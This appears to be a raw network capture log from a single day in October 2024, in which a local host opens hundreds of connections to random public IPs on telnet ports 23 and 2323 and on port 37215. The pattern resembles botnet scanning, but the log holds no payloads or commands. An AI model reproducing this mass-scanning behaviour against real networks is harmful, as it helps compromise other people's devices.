Oct 8, 2024 20:34:50.655167103 CEST	48168	23	192.168.2.14	161.133.115.187
Oct 8, 2024 20:34:50.655181885 CEST	48168	23	192.168.2.14	136.127.176.98
Oct 8, 2024 20:34:50.655313969 CEST	23	48168	168.21.245.192	192.168.2.14
Oct 8, 2024 20:34:50.655347109 CEST	48168	23	192.168.2.14	168.21.245.192
Oct 8, 2024 20:34:50.655486107 CEST	23	48168	59.12.157.93	192.168.2.14
Oct 8, 2024 20:34:50.655519962 CEST	48168	23	192.168.2.14	59.12.157.93
Oct 8, 2024 20:34:51.109309912 CEST	23	33652	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:51.109755993 CEST	33652	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:51.110157967 CEST	33654	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:51.110800982 CEST	41426	23	192.168.2.14	71.112.245.139
Oct 8, 2024 20:34:51.111892939 CEST	60712	23	192.168.2.14	24.87.195.193
Oct 8, 2024 20:34:51.115091085 CEST	23	33652	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:51.115292072 CEST	23	33654	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:51.115401983 CEST	33654	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:51.115989923 CEST	23	41426	71.112.245.139	192.168.2.14
Oct 8, 2024 20:34:51.116038084 CEST	41426	23	192.168.2.14	71.112.245.139
Oct 8, 2024 20:34:51.117098093 CEST	23	60712	24.87.195.193	192.168.2.14
Oct 8, 2024 20:34:51.117140055 CEST	60712	23	192.168.2.14	24.87.195.193
Oct 8, 2024 20:34:51.218508005 CEST	23	46146	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:51.218664885 CEST	46146	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:51.219007015 CEST	46156	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:51.223442078 CEST	23	46146	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:51.223757982 CEST	23	46156	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:51.223817110 CEST	46156	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:51.252444029 CEST	2323	36234	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:51.252655029 CEST	36234	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:51.253077030 CEST	36248	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:51.257668972 CEST	2323	36234	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:51.257862091 CEST	2323	36248	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:51.257900000 CEST	36248	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:51.482825994 CEST	48169	37215	192.168.2.14	41.166.182.54
Oct 8, 2024 20:34:51.482841969 CEST	48169	37215	192.168.2.14	41.111.247.166
Oct 8, 2024 20:34:51.482841969 CEST	48169	37215	192.168.2.14	156.92.2.90
Oct 8, 2024 20:34:51.482847929 CEST	48169	37215	192.168.2.14	197.2.86.158
Oct 8, 2024 20:34:51.482848883 CEST	48169	37215	192.168.2.14	156.163.224.76
Oct 8, 2024 20:34:51.482858896 CEST	48169	37215	192.168.2.14	41.74.161.47
Oct 8, 2024 20:34:51.482861996 CEST	48169	37215	192.168.2.14	156.176.60.242
Oct 8, 2024 20:34:51.482860088 CEST	48169	37215	192.168.2.14	41.175.70.83
Oct 8, 2024 20:34:51.482860088 CEST	48169	37215	192.168.2.14	156.108.128.250
Oct 8, 2024 20:34:51.482872963 CEST	48169	37215	192.168.2.14	156.120.234.235
Oct 8, 2024 20:34:51.482873917 CEST	48169	37215	192.168.2.14	197.36.175.136
Oct 8, 2024 20:34:51.482873917 CEST	48169	37215	192.168.2.14	156.208.56.167
Oct 8, 2024 20:34:51.482873917 CEST	48169	37215	192.168.2.14	156.110.116.204
Oct 8, 2024 20:34:51.482876062 CEST	48169	37215	192.168.2.14	156.167.154.238
Oct 8, 2024 20:34:51.482873917 CEST	48169	37215	192.168.2.14	156.14.101.145
Oct 8, 2024 20:34:51.482882023 CEST	48169	37215	192.168.2.14	41.97.105.101
Oct 8, 2024 20:34:51.482882023 CEST	48169	37215	192.168.2.14	156.115.132.91
Oct 8, 2024 20:34:51.482882023 CEST	48169	37215	192.168.2.14	156.238.55.139
Oct 8, 2024 20:34:51.482887030 CEST	48169	37215	192.168.2.14	156.11.40.206
Oct 8, 2024 20:34:51.482887030 CEST	48169	37215	192.168.2.14	41.145.223.81
Oct 8, 2024 20:34:51.482898951 CEST	48169	37215	192.168.2.14	197.141.31.111
Oct 8, 2024 20:34:51.482898951 CEST	48169	37215	192.168.2.14	197.172.233.78
Oct 8, 2024 20:34:51.482903004 CEST	48169	37215	192.168.2.14	41.125.146.15
Oct 8, 2024 20:34:51.482907057 CEST	48169	37215	192.168.2.14	41.237.254.148
Oct 8, 2024 20:34:51.482912064 CEST	48169	37215	192.168.2.14	197.242.73.52
Oct 8, 2024 20:34:51.482912064 CEST	48169	37215	192.168.2.14	156.247.106.159
Oct 8, 2024 20:34:51.482914925 CEST	48169	37215	192.168.2.14	197.99.23.214
Oct 8, 2024 20:34:51.482918024 CEST	48169	37215	192.168.2.14	197.64.121.234
Oct 8, 2024 20:34:51.482918024 CEST	48169	37215	192.168.2.14	197.3.7.182
Oct 8, 2024 20:34:51.482918024 CEST	48169	37215	192.168.2.14	156.223.136.237
Oct 8, 2024 20:34:51.482927084 CEST	48169	37215	192.168.2.14	41.188.123.151
Oct 8, 2024 20:34:51.482932091 CEST	48169	37215	192.168.2.14	156.18.137.147
Oct 8, 2024 20:34:51.482939005 CEST	48169	37215	192.168.2.14	41.91.223.89
Oct 8, 2024 20:34:51.482944012 CEST	48169	37215	192.168.2.14	41.51.30.39
Oct 8, 2024 20:34:51.482953072 CEST	48169	37215	192.168.2.14	197.77.99.184
Oct 8, 2024 20:34:51.482953072 CEST	48169	37215	192.168.2.14	197.37.95.222
Oct 8, 2024 20:34:51.482966900 CEST	48169	37215	192.168.2.14	197.4.215.239
Oct 8, 2024 20:34:51.482971907 CEST	48169	37215	192.168.2.14	156.53.31.149
Oct 8, 2024 20:34:51.482980967 CEST	48169	37215	192.168.2.14	197.73.11.193
Oct 8, 2024 20:34:51.482994080 CEST	48169	37215	192.168.2.14	197.111.79.43
Oct 8, 2024 20:34:51.483002901 CEST	48169	37215	192.168.2.14	197.190.113.116
Oct 8, 2024 20:34:51.483002901 CEST	48169	37215	192.168.2.14	41.144.203.81
Oct 8, 2024 20:34:51.483006001 CEST	48169	37215	192.168.2.14	197.4.197.123
Oct 8, 2024 20:34:51.483019114 CEST	48169	37215	192.168.2.14	197.158.112.203
Oct 8, 2024 20:34:51.483026028 CEST	48169	37215	192.168.2.14	156.53.46.161
Oct 8, 2024 20:34:51.483032942 CEST	48169	37215	192.168.2.14	197.14.137.128
Oct 8, 2024 20:34:51.483041048 CEST	48169	37215	192.168.2.14	197.205.151.130
Oct 8, 2024 20:34:51.483042002 CEST	48169	37215	192.168.2.14	197.20.46.110
Oct 8, 2024 20:34:51.483052015 CEST	48169	37215	192.168.2.14	41.138.50.54
Oct 8, 2024 20:34:51.483062029 CEST	48169	37215	192.168.2.14	41.1.110.112
Oct 8, 2024 20:34:51.483068943 CEST	48169	37215	192.168.2.14	41.206.194.215
Oct 8, 2024 20:34:51.483074903 CEST	48169	37215	192.168.2.14	156.66.58.154
Oct 8, 2024 20:34:51.483079910 CEST	48169	37215	192.168.2.14	156.114.104.128
Oct 8, 2024 20:34:51.483089924 CEST	48169	37215	192.168.2.14	197.161.3.31
Oct 8, 2024 20:34:51.483097076 CEST	48169	37215	192.168.2.14	197.86.77.105
Oct 8, 2024 20:34:51.483103037 CEST	48169	37215	192.168.2.14	156.18.161.24
Oct 8, 2024 20:34:51.483107090 CEST	48169	37215	192.168.2.14	156.180.124.31
Oct 8, 2024 20:34:51.483118057 CEST	48169	37215	192.168.2.14	197.253.123.138
Oct 8, 2024 20:34:51.483130932 CEST	48169	37215	192.168.2.14	156.226.71.158
Oct 8, 2024 20:34:51.483131886 CEST	48169	37215	192.168.2.14	41.236.245.76
Oct 8, 2024 20:34:51.483143091 CEST	48169	37215	192.168.2.14	197.187.188.233
Oct 8, 2024 20:34:51.483144999 CEST	48169	37215	192.168.2.14	156.88.221.115
Oct 8, 2024 20:34:51.483148098 CEST	48169	37215	192.168.2.14	197.90.41.122
Oct 8, 2024 20:34:51.483159065 CEST	48169	37215	192.168.2.14	41.63.213.194
Oct 8, 2024 20:34:51.483165979 CEST	48169	37215	192.168.2.14	41.238.189.242
Oct 8, 2024 20:34:51.483165979 CEST	48169	37215	192.168.2.14	197.255.210.246
Oct 8, 2024 20:34:51.483171940 CEST	48169	37215	192.168.2.14	41.143.85.139
Oct 8, 2024 20:34:51.483185053 CEST	48169	37215	192.168.2.14	41.231.64.255
Oct 8, 2024 20:34:51.483195066 CEST	48169	37215	192.168.2.14	156.26.18.94
Oct 8, 2024 20:34:51.483198881 CEST	48169	37215	192.168.2.14	197.118.141.197
Oct 8, 2024 20:34:51.483208895 CEST	48169	37215	192.168.2.14	41.121.128.171
Oct 8, 2024 20:34:51.483208895 CEST	48169	37215	192.168.2.14	197.18.44.24
Oct 8, 2024 20:34:51.483215094 CEST	48169	37215	192.168.2.14	156.70.47.59
Oct 8, 2024 20:34:51.483232021 CEST	48169	37215	192.168.2.14	197.169.53.117
Oct 8, 2024 20:34:51.483239889 CEST	48169	37215	192.168.2.14	197.118.239.14
Oct 8, 2024 20:34:51.483241081 CEST	48169	37215	192.168.2.14	41.253.252.156
Oct 8, 2024 20:34:51.483243942 CEST	48169	37215	192.168.2.14	41.35.52.242
Oct 8, 2024 20:34:51.483247995 CEST	48169	37215	192.168.2.14	156.161.156.75
Oct 8, 2024 20:34:51.483256102 CEST	48169	37215	192.168.2.14	156.156.6.34
Oct 8, 2024 20:34:51.483266115 CEST	48169	37215	192.168.2.14	41.242.57.12
Oct 8, 2024 20:34:51.483268023 CEST	48169	37215	192.168.2.14	197.253.4.30
Oct 8, 2024 20:34:51.483278036 CEST	48169	37215	192.168.2.14	41.233.25.131
Oct 8, 2024 20:34:51.483284950 CEST	48169	37215	192.168.2.14	197.162.26.223
Oct 8, 2024 20:34:51.483289957 CEST	48169	37215	192.168.2.14	197.25.211.171
Oct 8, 2024 20:34:51.483302116 CEST	48169	37215	192.168.2.14	41.106.1.20
Oct 8, 2024 20:34:51.483306885 CEST	48169	37215	192.168.2.14	41.63.76.20
Oct 8, 2024 20:34:51.483309031 CEST	48169	37215	192.168.2.14	156.161.146.144
Oct 8, 2024 20:34:51.483309031 CEST	48169	37215	192.168.2.14	41.56.151.200
Oct 8, 2024 20:34:51.483321905 CEST	48169	37215	192.168.2.14	41.86.160.227
Oct 8, 2024 20:34:51.483331919 CEST	48169	37215	192.168.2.14	156.11.228.179
Oct 8, 2024 20:34:51.483331919 CEST	48169	37215	192.168.2.14	156.204.147.57
Oct 8, 2024 20:34:51.483335018 CEST	48169	37215	192.168.2.14	156.74.139.52
Oct 8, 2024 20:34:51.483344078 CEST	48169	37215	192.168.2.14	41.158.34.246
Oct 8, 2024 20:34:51.483351946 CEST	48169	37215	192.168.2.14	197.58.96.2
Oct 8, 2024 20:34:51.483364105 CEST	48169	37215	192.168.2.14	197.76.173.23
Oct 8, 2024 20:34:51.483369112 CEST	48169	37215	192.168.2.14	156.56.124.246
Oct 8, 2024 20:34:51.483369112 CEST	48169	37215	192.168.2.14	197.236.77.111
Oct 8, 2024 20:34:51.483392954 CEST	48169	37215	192.168.2.14	156.109.164.219
Oct 8, 2024 20:34:51.483393908 CEST	48169	37215	192.168.2.14	156.64.93.68
Oct 8, 2024 20:34:51.483392954 CEST	48169	37215	192.168.2.14	197.61.93.144
Oct 8, 2024 20:34:51.483397961 CEST	48169	37215	192.168.2.14	156.155.100.43
Oct 8, 2024 20:34:51.483398914 CEST	48169	37215	192.168.2.14	197.175.76.46
Oct 8, 2024 20:34:51.483400106 CEST	48169	37215	192.168.2.14	156.118.223.112
Oct 8, 2024 20:34:51.483403921 CEST	48169	37215	192.168.2.14	197.82.158.152
Oct 8, 2024 20:34:51.483407974 CEST	48169	37215	192.168.2.14	197.240.255.18
Oct 8, 2024 20:34:51.483419895 CEST	48169	37215	192.168.2.14	156.204.184.97
Oct 8, 2024 20:34:51.483419895 CEST	48169	37215	192.168.2.14	156.135.166.4
Oct 8, 2024 20:34:51.483419895 CEST	48169	37215	192.168.2.14	197.3.106.175
Oct 8, 2024 20:34:51.483428955 CEST	48169	37215	192.168.2.14	197.195.202.193
Oct 8, 2024 20:34:51.483436108 CEST	48169	37215	192.168.2.14	197.162.28.153
Oct 8, 2024 20:34:51.483442068 CEST	48169	37215	192.168.2.14	156.120.207.213
Oct 8, 2024 20:34:51.483448982 CEST	48169	37215	192.168.2.14	197.232.120.90
Oct 8, 2024 20:34:51.483463049 CEST	48169	37215	192.168.2.14	156.200.74.179
Oct 8, 2024 20:34:51.483464003 CEST	48169	37215	192.168.2.14	197.244.142.251
Oct 8, 2024 20:34:51.483464003 CEST	48169	37215	192.168.2.14	41.12.24.248
Oct 8, 2024 20:34:51.483484030 CEST	48169	37215	192.168.2.14	156.110.8.66
Oct 8, 2024 20:34:51.483484030 CEST	48169	37215	192.168.2.14	156.32.206.51
Oct 8, 2024 20:34:51.483490944 CEST	48169	37215	192.168.2.14	197.43.203.152
Oct 8, 2024 20:34:51.483500957 CEST	48169	37215	192.168.2.14	197.98.155.147
Oct 8, 2024 20:34:51.483503103 CEST	48169	37215	192.168.2.14	197.255.1.80
Oct 8, 2024 20:34:51.483529091 CEST	48169	37215	192.168.2.14	41.60.8.115
Oct 8, 2024 20:34:51.483530998 CEST	48169	37215	192.168.2.14	197.159.94.37
Oct 8, 2024 20:34:51.483536005 CEST	48169	37215	192.168.2.14	197.55.122.83
Oct 8, 2024 20:34:51.483541965 CEST	48169	37215	192.168.2.14	41.200.126.54
Oct 8, 2024 20:34:51.483551025 CEST	48169	37215	192.168.2.14	197.93.192.201
Oct 8, 2024 20:34:51.483563900 CEST	48169	37215	192.168.2.14	41.239.244.143
Oct 8, 2024 20:34:51.483563900 CEST	48169	37215	192.168.2.14	156.4.227.10
Oct 8, 2024 20:34:51.483566999 CEST	48169	37215	192.168.2.14	197.156.147.22
Oct 8, 2024 20:34:51.483572006 CEST	48169	37215	192.168.2.14	156.171.245.210
Oct 8, 2024 20:34:51.483572006 CEST	48169	37215	192.168.2.14	156.123.34.102
Oct 8, 2024 20:34:51.483575106 CEST	48169	37215	192.168.2.14	41.46.212.191
Oct 8, 2024 20:34:51.483575106 CEST	48169	37215	192.168.2.14	41.92.167.235
Oct 8, 2024 20:34:51.483575106 CEST	48169	37215	192.168.2.14	197.205.225.42
Oct 8, 2024 20:34:51.483582020 CEST	48169	37215	192.168.2.14	41.78.102.80
Oct 8, 2024 20:34:51.483591080 CEST	48169	37215	192.168.2.14	156.204.235.225
Oct 8, 2024 20:34:51.483591080 CEST	48169	37215	192.168.2.14	156.80.148.18
Oct 8, 2024 20:34:51.483594894 CEST	48169	37215	192.168.2.14	156.51.242.69
Oct 8, 2024 20:34:51.483601093 CEST	48169	37215	192.168.2.14	41.174.191.147
Oct 8, 2024 20:34:51.483606100 CEST	48169	37215	192.168.2.14	197.2.192.53
Oct 8, 2024 20:34:51.483613968 CEST	48169	37215	192.168.2.14	197.38.63.252
Oct 8, 2024 20:34:51.483613968 CEST	48169	37215	192.168.2.14	41.79.98.203
Oct 8, 2024 20:34:51.483634949 CEST	48169	37215	192.168.2.14	41.120.27.197
Oct 8, 2024 20:34:51.483634949 CEST	48169	37215	192.168.2.14	41.183.217.151
Oct 8, 2024 20:34:51.483634949 CEST	48169	37215	192.168.2.14	156.26.40.198
Oct 8, 2024 20:34:51.483644009 CEST	48169	37215	192.168.2.14	41.137.239.82
Oct 8, 2024 20:34:51.483649015 CEST	48169	37215	192.168.2.14	41.130.144.31
Oct 8, 2024 20:34:51.483649969 CEST	48169	37215	192.168.2.14	41.37.244.35
Oct 8, 2024 20:34:51.483654976 CEST	48169	37215	192.168.2.14	197.103.86.51
Oct 8, 2024 20:34:51.483659029 CEST	48169	37215	192.168.2.14	197.229.168.112
Oct 8, 2024 20:34:51.483665943 CEST	48169	37215	192.168.2.14	156.86.176.31
Oct 8, 2024 20:34:51.483680964 CEST	48169	37215	192.168.2.14	41.27.224.117
Oct 8, 2024 20:34:51.483691931 CEST	48169	37215	192.168.2.14	197.116.170.167
Oct 8, 2024 20:34:51.483691931 CEST	48169	37215	192.168.2.14	197.49.60.133
Oct 8, 2024 20:34:51.483695984 CEST	48169	37215	192.168.2.14	41.27.161.187
Oct 8, 2024 20:34:51.483695984 CEST	48169	37215	192.168.2.14	197.180.130.252
Oct 8, 2024 20:34:51.483701944 CEST	48169	37215	192.168.2.14	197.14.208.76
Oct 8, 2024 20:34:51.483705997 CEST	48169	37215	192.168.2.14	197.185.144.0
Oct 8, 2024 20:34:51.483711004 CEST	48169	37215	192.168.2.14	156.49.25.188
Oct 8, 2024 20:34:51.483743906 CEST	48169	37215	192.168.2.14	41.107.67.226
Oct 8, 2024 20:34:51.483747959 CEST	48169	37215	192.168.2.14	156.29.186.249
Oct 8, 2024 20:34:51.483750105 CEST	48169	37215	192.168.2.14	197.50.197.176
Oct 8, 2024 20:34:51.483750105 CEST	48169	37215	192.168.2.14	156.186.102.122
Oct 8, 2024 20:34:51.483750105 CEST	48169	37215	192.168.2.14	156.177.50.100
Oct 8, 2024 20:34:51.483752012 CEST	48169	37215	192.168.2.14	197.22.186.187
Oct 8, 2024 20:34:51.483753920 CEST	48169	37215	192.168.2.14	41.19.5.4
Oct 8, 2024 20:34:51.483753920 CEST	48169	37215	192.168.2.14	197.78.247.223
Oct 8, 2024 20:34:51.483753920 CEST	48169	37215	192.168.2.14	41.155.106.133
Oct 8, 2024 20:34:51.483763933 CEST	48169	37215	192.168.2.14	41.249.80.129
Oct 8, 2024 20:34:51.483763933 CEST	48169	37215	192.168.2.14	197.149.95.22
Oct 8, 2024 20:34:51.483764887 CEST	48169	37215	192.168.2.14	156.201.74.146
Oct 8, 2024 20:34:51.483764887 CEST	48169	37215	192.168.2.14	41.6.83.23
Oct 8, 2024 20:34:51.483766079 CEST	48169	37215	192.168.2.14	156.1.66.228
Oct 8, 2024 20:34:51.483767033 CEST	48169	37215	192.168.2.14	156.67.34.254
Oct 8, 2024 20:34:51.483763933 CEST	48169	37215	192.168.2.14	41.196.229.98
Oct 8, 2024 20:34:51.483778000 CEST	48169	37215	192.168.2.14	41.40.144.243
Oct 8, 2024 20:34:51.483779907 CEST	48169	37215	192.168.2.14	41.178.28.104
Oct 8, 2024 20:34:51.483781099 CEST	48169	37215	192.168.2.14	41.134.80.119
Oct 8, 2024 20:34:51.483782053 CEST	48169	37215	192.168.2.14	156.197.251.176
Oct 8, 2024 20:34:51.483782053 CEST	48169	37215	192.168.2.14	41.108.135.108
Oct 8, 2024 20:34:51.483782053 CEST	48169	37215	192.168.2.14	41.122.149.86
Oct 8, 2024 20:34:51.483782053 CEST	48169	37215	192.168.2.14	156.71.196.233
Oct 8, 2024 20:34:51.483792067 CEST	48169	37215	192.168.2.14	156.224.173.172
Oct 8, 2024 20:34:51.483792067 CEST	48169	37215	192.168.2.14	41.193.138.6
Oct 8, 2024 20:34:51.483793974 CEST	48169	37215	192.168.2.14	156.239.65.16
Oct 8, 2024 20:34:51.483794928 CEST	48169	37215	192.168.2.14	41.26.45.111
Oct 8, 2024 20:34:51.483799934 CEST	48169	37215	192.168.2.14	156.114.197.173
Oct 8, 2024 20:34:51.483798027 CEST	48169	37215	192.168.2.14	41.218.254.55
Oct 8, 2024 20:34:51.483798027 CEST	48169	37215	192.168.2.14	197.164.29.92
Oct 8, 2024 20:34:51.483802080 CEST	48169	37215	192.168.2.14	197.75.224.204
Oct 8, 2024 20:34:51.483798027 CEST	48169	37215	192.168.2.14	41.94.88.247
Oct 8, 2024 20:34:51.483802080 CEST	48169	37215	192.168.2.14	156.87.144.244
Oct 8, 2024 20:34:51.483808994 CEST	48169	37215	192.168.2.14	41.150.60.206
Oct 8, 2024 20:34:51.483810902 CEST	48169	37215	192.168.2.14	197.197.219.141
Oct 8, 2024 20:34:51.483817101 CEST	48169	37215	192.168.2.14	197.217.53.182
Oct 8, 2024 20:34:51.483819008 CEST	48169	37215	192.168.2.14	156.204.52.162
Oct 8, 2024 20:34:51.483819008 CEST	48169	37215	192.168.2.14	156.229.46.19
Oct 8, 2024 20:34:51.483824015 CEST	48169	37215	192.168.2.14	197.109.61.24
Oct 8, 2024 20:34:51.483825922 CEST	48169	37215	192.168.2.14	197.169.249.64
Oct 8, 2024 20:34:51.483825922 CEST	48169	37215	192.168.2.14	197.137.115.247
Oct 8, 2024 20:34:51.483833075 CEST	48169	37215	192.168.2.14	41.107.175.58
Oct 8, 2024 20:34:51.483836889 CEST	48169	37215	192.168.2.14	156.169.90.124
Oct 8, 2024 20:34:51.483836889 CEST	48169	37215	192.168.2.14	197.249.169.237
Oct 8, 2024 20:34:51.483839035 CEST	48169	37215	192.168.2.14	197.114.185.46
Oct 8, 2024 20:34:51.483839989 CEST	48169	37215	192.168.2.14	156.96.61.121
Oct 8, 2024 20:34:51.483855009 CEST	48169	37215	192.168.2.14	197.5.90.254
Oct 8, 2024 20:34:51.483855009 CEST	48169	37215	192.168.2.14	41.69.251.221
Oct 8, 2024 20:34:51.483858109 CEST	48169	37215	192.168.2.14	197.223.156.213
Oct 8, 2024 20:34:51.483860016 CEST	48169	37215	192.168.2.14	197.66.194.20
Oct 8, 2024 20:34:51.483864069 CEST	48169	37215	192.168.2.14	197.231.144.252
Oct 8, 2024 20:34:51.483879089 CEST	48169	37215	192.168.2.14	197.41.198.92
Oct 8, 2024 20:34:51.483882904 CEST	48169	37215	192.168.2.14	41.95.32.74
Oct 8, 2024 20:34:51.483894110 CEST	48169	37215	192.168.2.14	156.221.170.176
Oct 8, 2024 20:34:51.483896971 CEST	48169	37215	192.168.2.14	41.197.14.252
Oct 8, 2024 20:34:51.483897924 CEST	48169	37215	192.168.2.14	156.62.39.242
Oct 8, 2024 20:34:51.483906984 CEST	48169	37215	192.168.2.14	156.97.130.5
Oct 8, 2024 20:34:51.483907938 CEST	48169	37215	192.168.2.14	197.155.30.251
Oct 8, 2024 20:34:51.483912945 CEST	48169	37215	192.168.2.14	41.121.101.51
Oct 8, 2024 20:34:51.483922005 CEST	48169	37215	192.168.2.14	41.231.155.253
Oct 8, 2024 20:34:51.483927965 CEST	48169	37215	192.168.2.14	197.90.184.42
Oct 8, 2024 20:34:51.483937979 CEST	48169	37215	192.168.2.14	197.1.46.207
Oct 8, 2024 20:34:51.483943939 CEST	48169	37215	192.168.2.14	197.121.24.33
Oct 8, 2024 20:34:51.483944893 CEST	48169	37215	192.168.2.14	41.43.22.26
Oct 8, 2024 20:34:51.483948946 CEST	48169	37215	192.168.2.14	156.139.160.98
Oct 8, 2024 20:34:51.483948946 CEST	48169	37215	192.168.2.14	41.112.204.117
Oct 8, 2024 20:34:51.483953953 CEST	48169	37215	192.168.2.14	197.28.33.214
Oct 8, 2024 20:34:51.483963966 CEST	48169	37215	192.168.2.14	156.88.170.116
Oct 8, 2024 20:34:51.483971119 CEST	48169	37215	192.168.2.14	156.146.106.80
Oct 8, 2024 20:34:51.483978987 CEST	48169	37215	192.168.2.14	156.248.168.44
Oct 8, 2024 20:34:51.483978987 CEST	48169	37215	192.168.2.14	41.70.79.141
Oct 8, 2024 20:34:51.483994007 CEST	48169	37215	192.168.2.14	156.238.70.199
Oct 8, 2024 20:34:51.484021902 CEST	48169	37215	192.168.2.14	41.50.80.177
Oct 8, 2024 20:34:51.484026909 CEST	48169	37215	192.168.2.14	197.75.20.85
Oct 8, 2024 20:34:51.484026909 CEST	48169	37215	192.168.2.14	197.232.93.116
Oct 8, 2024 20:34:51.484029055 CEST	48169	37215	192.168.2.14	156.121.20.239
Oct 8, 2024 20:34:51.484031916 CEST	48169	37215	192.168.2.14	156.28.164.177
Oct 8, 2024 20:34:51.484035969 CEST	48169	37215	192.168.2.14	41.126.213.21
Oct 8, 2024 20:34:51.484041929 CEST	48169	37215	192.168.2.14	41.246.176.55
Oct 8, 2024 20:34:51.484045029 CEST	48169	37215	192.168.2.14	197.152.179.44
Oct 8, 2024 20:34:51.484046936 CEST	48169	37215	192.168.2.14	197.151.204.70
Oct 8, 2024 20:34:51.484049082 CEST	48169	37215	192.168.2.14	41.170.197.68
Oct 8, 2024 20:34:51.484050989 CEST	48169	37215	192.168.2.14	156.186.163.126
Oct 8, 2024 20:34:51.484055042 CEST	48169	37215	192.168.2.14	197.7.136.224
Oct 8, 2024 20:34:51.484061956 CEST	48169	37215	192.168.2.14	41.153.148.38
Oct 8, 2024 20:34:51.484065056 CEST	48169	37215	192.168.2.14	156.254.238.81
Oct 8, 2024 20:34:51.484067917 CEST	48169	37215	192.168.2.14	197.11.158.26
Oct 8, 2024 20:34:51.484070063 CEST	48169	37215	192.168.2.14	197.82.35.160
Oct 8, 2024 20:34:51.484088898 CEST	48169	37215	192.168.2.14	197.255.134.166
Oct 8, 2024 20:34:51.484088898 CEST	48169	37215	192.168.2.14	41.123.93.209
Oct 8, 2024 20:34:51.484097958 CEST	48169	37215	192.168.2.14	156.126.245.235
Oct 8, 2024 20:34:51.484098911 CEST	48169	37215	192.168.2.14	41.239.101.9
Oct 8, 2024 20:34:51.484098911 CEST	48169	37215	192.168.2.14	41.67.20.116
Oct 8, 2024 20:34:51.484110117 CEST	48169	37215	192.168.2.14	156.121.212.94
Oct 8, 2024 20:34:51.484111071 CEST	48169	37215	192.168.2.14	197.78.65.71
Oct 8, 2024 20:34:51.484111071 CEST	48169	37215	192.168.2.14	197.3.14.181
Oct 8, 2024 20:34:51.484111071 CEST	48169	37215	192.168.2.14	156.235.58.105
Oct 8, 2024 20:34:51.484114885 CEST	48169	37215	192.168.2.14	156.114.7.40
Oct 8, 2024 20:34:51.484122992 CEST	48169	37215	192.168.2.14	197.230.80.36
Oct 8, 2024 20:34:51.484123945 CEST	48169	37215	192.168.2.14	41.0.57.110
Oct 8, 2024 20:34:51.484123945 CEST	48169	37215	192.168.2.14	197.36.205.15
Oct 8, 2024 20:34:51.484128952 CEST	48169	37215	192.168.2.14	41.156.237.251
Oct 8, 2024 20:34:51.484128952 CEST	48169	37215	192.168.2.14	41.240.18.118
Oct 8, 2024 20:34:51.484136105 CEST	48169	37215	192.168.2.14	197.99.70.12
Oct 8, 2024 20:34:51.484143972 CEST	48169	37215	192.168.2.14	156.198.237.143
Oct 8, 2024 20:34:51.484143972 CEST	48169	37215	192.168.2.14	197.249.227.97
Oct 8, 2024 20:34:51.484143972 CEST	48169	37215	192.168.2.14	41.211.155.35
Oct 8, 2024 20:34:51.484148026 CEST	48169	37215	192.168.2.14	156.245.134.105
Oct 8, 2024 20:34:51.484153986 CEST	48169	37215	192.168.2.14	41.78.23.87
Oct 8, 2024 20:34:51.484154940 CEST	48169	37215	192.168.2.14	197.166.60.230
Oct 8, 2024 20:34:51.484160900 CEST	48169	37215	192.168.2.14	41.144.191.107
Oct 8, 2024 20:34:51.484164953 CEST	48169	37215	192.168.2.14	197.17.196.137
Oct 8, 2024 20:34:51.484178066 CEST	48169	37215	192.168.2.14	156.238.244.194
Oct 8, 2024 20:34:51.484179020 CEST	48169	37215	192.168.2.14	156.95.14.35
Oct 8, 2024 20:34:51.484186888 CEST	48169	37215	192.168.2.14	156.162.243.23
Oct 8, 2024 20:34:51.484189034 CEST	48169	37215	192.168.2.14	156.84.106.33
Oct 8, 2024 20:34:51.484193087 CEST	48169	37215	192.168.2.14	41.250.186.137
Oct 8, 2024 20:34:51.484194040 CEST	48169	37215	192.168.2.14	197.18.185.11
Oct 8, 2024 20:34:51.484203100 CEST	48169	37215	192.168.2.14	197.226.30.206
Oct 8, 2024 20:34:51.484205961 CEST	48169	37215	192.168.2.14	197.130.62.146
Oct 8, 2024 20:34:51.484219074 CEST	48169	37215	192.168.2.14	156.122.59.111
Oct 8, 2024 20:34:51.484220028 CEST	48169	37215	192.168.2.14	41.200.36.192
Oct 8, 2024 20:34:51.484229088 CEST	48169	37215	192.168.2.14	156.124.52.126
Oct 8, 2024 20:34:51.484229088 CEST	48169	37215	192.168.2.14	41.166.114.125
Oct 8, 2024 20:34:51.484242916 CEST	48169	37215	192.168.2.14	197.103.134.0
Oct 8, 2024 20:34:51.484246969 CEST	48169	37215	192.168.2.14	197.235.73.73
Oct 8, 2024 20:34:51.484252930 CEST	48169	37215	192.168.2.14	156.144.219.20
Oct 8, 2024 20:34:51.484253883 CEST	48169	37215	192.168.2.14	41.101.18.230
Oct 8, 2024 20:34:51.484267950 CEST	48169	37215	192.168.2.14	156.113.45.224
Oct 8, 2024 20:34:51.484277010 CEST	48169	37215	192.168.2.14	156.120.26.148
Oct 8, 2024 20:34:51.484277010 CEST	48169	37215	192.168.2.14	156.127.188.171
Oct 8, 2024 20:34:51.484278917 CEST	48169	37215	192.168.2.14	156.57.230.133
Oct 8, 2024 20:34:51.484285116 CEST	48169	37215	192.168.2.14	197.127.66.73
Oct 8, 2024 20:34:51.484297991 CEST	48169	37215	192.168.2.14	41.126.202.195
Oct 8, 2024 20:34:51.484303951 CEST	48169	37215	192.168.2.14	197.168.48.176
Oct 8, 2024 20:34:51.484311104 CEST	48169	37215	192.168.2.14	197.58.124.207
Oct 8, 2024 20:34:51.484318972 CEST	48169	37215	192.168.2.14	156.169.231.191
Oct 8, 2024 20:34:51.484324932 CEST	48169	37215	192.168.2.14	156.61.4.57
